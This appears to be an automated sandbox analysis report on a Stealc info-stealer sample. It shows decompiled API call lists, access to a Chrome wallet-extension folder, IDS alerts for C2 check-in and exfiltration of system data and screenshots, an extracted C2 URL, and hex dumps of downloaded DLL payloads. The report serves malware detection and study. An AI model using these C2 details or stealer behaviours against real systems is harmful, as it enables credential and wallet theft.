Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006913B7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_006913B7
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0068DB80 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0068DB80
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006924F9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_006924F9
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_00694C89 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_00694C89
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006816B9 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_006816B9
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0069D720 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0069D720
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0069DF20 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrcpy,	0_2_0069DF20
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006913B9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_006913B9

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 62.204.41.163:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 62.204.41.163:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 62.204.41.163:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 62.204.41.163:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 62.204.41.163:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 62.204.41.163:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49753 -> 62.204.41.163:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://62.204.41.163/16fa04073490929d.php

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 2.2.2.2 -n 1 -w 3000

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 06:48:07 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 06:48:19 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 06:48:20 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 06:48:21 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 06:48:21 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 06:48:23 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 